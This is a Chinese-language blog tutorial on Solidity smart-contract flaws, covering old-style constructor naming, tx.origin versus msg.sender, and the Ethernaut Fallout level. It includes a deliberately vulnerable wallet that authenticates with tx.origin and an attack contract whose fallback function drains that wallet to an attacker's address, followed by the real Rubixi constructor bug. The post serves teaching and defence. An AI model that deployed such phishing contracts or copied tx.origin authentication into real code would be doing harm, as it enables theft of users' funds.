区块链安全—简单函数的危险漏洞(二)

一、前言

上回文章中我们提到了简单函数的漏洞利用情况。我们对Fallback()这个回调函数进行了安全漏洞的分析,也针对竞赛题目复现了一些漏洞利用过程。

在本篇文章中,我们继续对简单函数进行安全机制分析。本文我们将要对构造函数以及tx.orginmsg.sender进行安全分析。在真实的合约开发中,上述这几个函数的使用频率是十分高的,而对于合约来讲,由于其面向对象的特性所迫,所以在编写合约的过程中构造函数是必须要进行使用的。对于tx.orgin以及msg.sender函数来讲,这些语法会在函数内部进行条件判断的时候使用,而条件判断往往是安全保障的最重要的一道门。倘若这些地方出现了问题而导致条件被绕过,那么系统的安全性就可能受到巨大的挑战。

倘若这些基础点存在了攻击漏洞,那么带来的危害是不可估量的。下面就看这些地方的漏洞点是如何产生的。

二、函数解析

1 构造函数

Solidity编写合约和面向对象编程语言非常相似,我们可以通过构造函数(constructor)来初始化合约对象。

构造函数就是方法名和合约名字相同的函数,创建合约时会调用构造函数对状态变量进行数据初始化操作。

pragma solidity ^0.4.20;

contract CpTest {

    uint value;

    /* 合约初始化时会调用构造函数 */
    function  CpTest  (uint number, uint p) { 
      value = number * p;
    }

    function getPower() view returns (uint) {
       return value;
    }
}

在我们部署合约的时候,我们需要传入参数以便初始化合约中的成员变量。

我们在构造函数中为成员变量赋初值为:2*5 = 10。

image.png

那同学就会提问,倘若我不小心忘记书写构造函数,对于Solidity来说的话会不会报错呢?

我们进行相关实验:

image.png

我们能够看到,虽然我们将构造函数注释掉了,但是我们的合约仍然可以正常的部署。而我们能够查看到我们的成员变量value的值为初始值0。

现在我们做一些实验来验证一个合约中是否可以拥有两个构造函数。

image.png
image.png

所以我们得到,一个合约中只能有允许一个构造函数存在。

2 tx.orgin函数

下面我们来详细的讲述一下tx.orgin以及msg.sender的用法以及区别之处。

下面我们来看测试合约:

pragma solidity ^0.4.20;

contract CpTest {

    uint value;
    
    function  CpTest  (uint number, uint p) { 
      value = number * p;
    }

    function getPower() view returns (uint) {
       return value;
    }
    
    function getOrigin() view returns (address) {
        return tx.origin;
    }
    
     function getSender() view returns (address) {
        return msg.sender;
    }
   
}

在当前地址0xca35b7d915458ef540ade6068dfe2f44e8fa733c下我们调用合约,看看sender的内容与orgin的内容分别是什么:

之后,我们通过合约远程调用(A-->B 用A合约调用B合约),来测试其sender的内容与orgin的内容的对应。

pragma solidity ^0.4.20;

contract CpTest {

    uint value;
    
    function  CpTest  (uint number, uint p) { 
      value = number * p;
    }

    function getPower() view returns (uint) {
       return value;
    }
    
    function getOrigin() view returns (address) {
        return tx.origin;
    }
    
     function getSender() view returns (address) {
        return msg.sender;
    }
    
}
    contract testCal {
        
        CpTest test = CpTest(0x5e72914535f202659083db3a02c984188fa26e9f);
        function getOrigin() view returns (address) {
            return test.getOrigin();
        }
        
        function getSender() view returns (address) {
            return test.getSender();
        }
        
    
}

此时我们第二个合约的地址为0x14723a09acff6d2a60dcdf7aa4aff308fddc160c

调用后得到:

image.png

testCal合约远程调用了CpTest合约,其tx.orgin的值为testCal合约的钱包地址。而msg.sender的地址为testCal合约部署的地址。

下面我们进行更复杂的测试。现在我们部署第三个合约,而此合约将调用第二个合约中的两个函数,并查看第三个合约中的相对应的orgin与sender的值。

pragma solidity ^0.4.20;

contract CpTest {

    uint value;
    
    function  CpTest  (uint number, uint p) { 
      value = number * p;
    }

    function getPower() view returns (uint) {
       return value;
    }
    
    function getOrigin() view returns (address) {
        return tx.origin;
    }
    
     function getSender() view returns (address) {
        return msg.sender;
    }
    
}
    contract testCal {
        
        CpTest test = CpTest(0x5e72914535f202659083db3a02c984188fa26e9f);
        function getOrigin() view returns (address) {
            return test.getOrigin();
        }
        
        function getSender() view returns (address) {
            return test.getSender();
        }
        
    
}

 contract testCal3 {
        
        testCal test = testCal(0x0fdf4894a3b7c5a101686829063be52ad45bcfb7);
        function getOrigin() view returns (address) {
            return test.getOrigin();
        }
        
        function getSender() view returns (address) {
            return test.getSender();
        }
        
    
}

testCal3合约的地址为:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db

我们运行函数得到:

即第三个函数的origin地址为自己的钱包地址。而sender的地址为第二个合约(testCal)的部署地址。

image.png

所以我们可以大胆的分析:我们的tx.origin为所最起始调用者的地址(A-->B-->C则为A的地址),然而我们msg.sender为最终函数的前一个调用合约地址(A-->B-->C中,由于函数在C中,所以sender为B的合约地址)。

这也相对应的存在了许多安全隐患,我们在下面进行分析。

三、漏洞分析

1 tx.origin漏洞分析

tx.origin是Solidity 中的一个全局变量 ,它遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。然而在智能合约中使用此变量时,我们通常会看到它被用于身份验证。这也就存在了很严重的漏洞问题,所以我们针对这个问题来进行相关的安全分析。

此类合约容易受到类似网络钓鱼的攻击。

下面我们来看一段钓鱼代码:

我们假设场景:现在有用户A与攻击者C两个身份。在A用户的地址下,我们部署了:

contract Phishable {
    address public owner;
    
    constructor (address _owner) {
        owner = _owner; 
    }
    
    function () public payable {} // collect ether

    function withdrawAll(address _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(this.balance); 
    }
}

我们具体来看这个代码,这里存在一个转账函数,而转账是将A用户中的余额转给_recipient对应的地址。然而在转账前我们需要进行一个初始判断:require(tx.origin == owner),即我们合约的拥有者必须==tx.origin

下面我们再来看攻击者合约:

contract AttackContract { 
    
    Phishable phishableContract; 
    address attacker; // The attackers address to receive funds.

    constructor (Phishable _phishableContract, address _attackerAddress) { 
        phishableContract = _phishableContract; 
        attacker = _attackerAddress;
    }
    
    function () { 
        phishableContract.withdrawAll(attacker); 
    }
}

在这个攻击合约中,我们看到它在构造函数中new了Phishable对象,
然后传入了攻击者地址。之后又定义了fallback函数,而在函数中调用了phishableContract对象的withdrawAll ()函数。

之后我们来分析下攻击是如何产生的。

根据我们前面写过的文章,我们知道fallback函数会在转账的时候被默认调用,所以这个地方就存在了很多隐患。

我们假设一个场景,倘若攻击者通过各种方法(包括诈骗、诱导等)使用户A向攻击者进行一些转账操作,那么他就会默认的调用phishableContract.withdrawAll(attacker);函数。而对于此函数我们具体来看:

    function withdrawAll(address _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(this.balance); 
    }

在这个函数中,攻击者将_recipient参数赋值为自己的地址,也就为了用户能够将钱转给攻击者做准备。之后我们来看,倘若此时攻击者绕过了require的限制,那么ta就有可能把用户的钱全部转走。那么攻击者是否能绕过呢?答案是肯定的。

简单来说,此时User --调用-->Attack的回调函数--调用-->User的withdraw函数,而呈现出来的tx.origin是==合约创世人owner的。

我们做一个简单的实验:

合约内容

pragma solidity ^0.4.18;

contract UserWallet {
    
    address public owner;
    address public owner1;
    function setOwner() public returns(address){
    //   owner = msg.sender;
      return msg.sender;
   }
   
   function setOwner1() public returns(address){
    //   owner1 = tx.origin;
      return tx.origin;
   }
}

contract abc {
    
    UserWallet test = UserWallet(0x9dd1e8169e76a9226b07ab9f85cc20a5e1ed44dd);
    
    function a() public returns (address){
        return test.setOwner1();
    }
    
}

contract def {
    
    abc test = abc(0xdd1f635dfb144068f91d430c76f4219088af9e64);
    
    function b() public returns (address){
        return test.a();
    }
    
}

首先在0xca35b7d915458ef540ade6068dfe2f44e8fa733c中部署

image.png

之后,我们在0x14723a09acff6d2a60dcdf7aa4aff308fddc160c部署

image.png

最后我们在0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db部署:

image.png

根据我们的代码,我们测试tx.orgin所代表的内容。

首先是合约UserWallet

image.png
image.png

下面是合约abc

然而我们这里最重要的函数是:合约def

我们要通过合约def来远程调用abc:

对应这里为:

在部署合约def的地址下调用合约abc中的b()函数。

image.png
image.png

得到实际的地址为:

image.png
地址详情
1:0xca35b7d915458ef540ade6068dfe2f44e8fa733c
2:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
3:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db

这样就绕过了用户函数中的origin条件,所以可以进行钓鱼:

倘若用户给调用合约转账,则调用了fallback函数。之后User -> Attack -> User。即意味着钓鱼合约把用户的钱取走了。

2 构造函数安全分析

构造函数(Constructors)是特殊函数,在初始化合约时经常执行关键的权限任务。在 solidity v0.4.22 以前,构造函数被定义为与所在合约同名的函数。因此,如果合约名称在开发过程中发生变化,而构造函数名称没有更改,它将变成正常的可调用函数。

其实这种漏洞的原理并不复杂,但是带来的危害却是巨大的。

下面我们看一道ctf的题目:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] += msg.value;
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

我们看到题目的要求如下:Claim ownership of the contract below to complete this level.让我们成为合约的owner。而我们仔细的查看后发现合约中只有构造函数可以让自己成为owner。然而我们无法手动调用构造函数,所以题目就陷入了僵局。不过在我们仔细的查看后发现:

Fallout与构造函数Fal1out是不同的。即题目中给的函数并不是构造函数,只是看起来相似而已。

所以我们直接调用改函数即可更改合约owner

在真实的环境中同样有这样的情况产生:

ubixi(合约代码)是另一个显现出这种漏洞的传销方案。合约中的构造函数一开始叫做 DynamicPyramid ,但合约名称在部署之前已改为 Rubixi 。构造函数的名字没有改变,因此任何用户都可以成为 creator

contract Rubixi {

        //Declare variables for storage critical to contract
        uint private balance = 0;
        uint private collectedFees = 0;
        uint private feePercent = 10;
        uint private pyramidMultiplier = 300;
        uint private payoutOrder = 0;

        address private creator;

        //Sets creator
        function DynamicPyramid() {
                creator = msg.sender;
        }

        modifier onlyowner {
                if (msg.sender == creator) _
        }

        struct Participant {
                address etherAddress;
                uint payout;
        }
········
}
image.png

四、参考资料

本稿为原创稿件,转载请标明出处。谢谢。

首发于先知社区,https://xz.aliyun.com/t/3657
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,294评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,780评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,001评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,593评论 1 289
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,687评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,679评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,667评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,426评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,872评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,180评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,346评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,019评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,658评论 3 323
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,268评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,495评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,275评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,207评论 2 352

推荐阅读更多精彩内容